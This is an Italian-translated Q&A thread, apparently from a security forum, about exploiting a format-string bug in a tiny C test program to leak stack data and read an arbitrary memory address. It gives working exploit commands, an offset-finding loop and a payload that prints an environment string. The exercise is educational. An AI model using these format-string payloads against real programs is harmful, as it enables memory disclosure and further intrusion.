Lettura di indirizzi arbitrari nell'attacco stringa formato

1

Sto tentando di eseguire un semplice attacco con stringhe di formato su questo programma:

#include <stdio.h>

int main(int argc, char *argv[])
{
    printf(argv[1]);
}

Non ho problemi a far uscire la pila nel solito modo passando una stringa di formato come questa:

./test "%x %x %x %x"

o con accesso diretto ai parametri come questo:

./test "%4\$x"

Successivamente, sto cercando di trovare la posizione (nesimo parametro) della stringa di formato stessa nello stack in questo modo:

 for ((i = 1; i < 200; i++)); do echo -n "$i " && ./test "AAAAAAAA%$i\$x" 0; done | grep 4141

Una volta che conosco il valore di $i (diciamo 134) dove appare la stringa "AAAA ...", dovrei essere in grado di leggere indirizzi arbitrari come questo:

./test $'\xaa\xbb\xcc\xdd%134\$s' 

Suppongo che sia il modo tradizionale di divulgare le informazioni attraverso un bug della stringa di formato (come descritto in Manuale di Shellcoder ).

Tuttavia, la stringa di formato che sto passando non è ben confezionata in un parametro $i th discreto (non ho un modo migliore per esprimerlo). È interessante notare che metà di esso è presente in 133 (parola in alto) e metà in 134 (parola in basso). Come posso passare indirizzi arbitrari come menzionato sopra in questa situazione? Sto assumendo che devo usare un diverso tipo di formattazione per catturare l'indirizzo esatto, ma non sono sicuro di come procedere.

Inoltre, ./test $'\xaa\xbb\xcc\xdd%134$s' , stampa semplicemente l'equivalente ascii di quei valori esadecimali. L'argomento non funziona esattamente come dovrebbe (spero di essere chiaro in ciò che sto cercando di ottenere qui). Qual è il modo corretto per passare questi indirizzi?

Se aiuta, sono su Ubuntu12 i386 e uso Bash.

    
posta rhodeo 15.10.2016 - 19:16
fonte

1 risposta

1

Era piuttosto banale. Modifica un esempio precedente,

for ((i = 1; i < 200; i++)); do echo -n "$i " && ./test "BBAAAACC%$i\$x" 0; done | grep 4141

la parola superiore della posizione 129 è riempita con la lettera B, e la parola inferiore della posizione 131 è riempita con la lettera C - con l'A ben inserita nel mezzo nella posizione 130. Quindi ho semplicemente dovuto passare l'indirizzo riempito con due byte in più sia all'inizio che alla fine. Ho anche capito come passare i valori esadecimali con printf in bash.

Per verificare che funzioni, ho preso l'indirizzo (0xbffffe2c) di una stringa nota "HOME = / home / arman" e l'ho passato come argomento come questo:

./test AA$(printf "\x2c\xfe\xff\xbf")AA%130\$s

Bingo! La stringa è stampata in questo modo:

AA,���AAHOME=/home/arman

EDIT: il padding all'inizio non è realmente richiesto. Anche questo funziona perfettamente:

./test $(printf "\x2c\xfe\xff\xbf")AA%130\$s
,���AAHOME=/home/arman
    
risposta data 16.10.2016 - 10:10
fonte

Leggi altre domande sui tag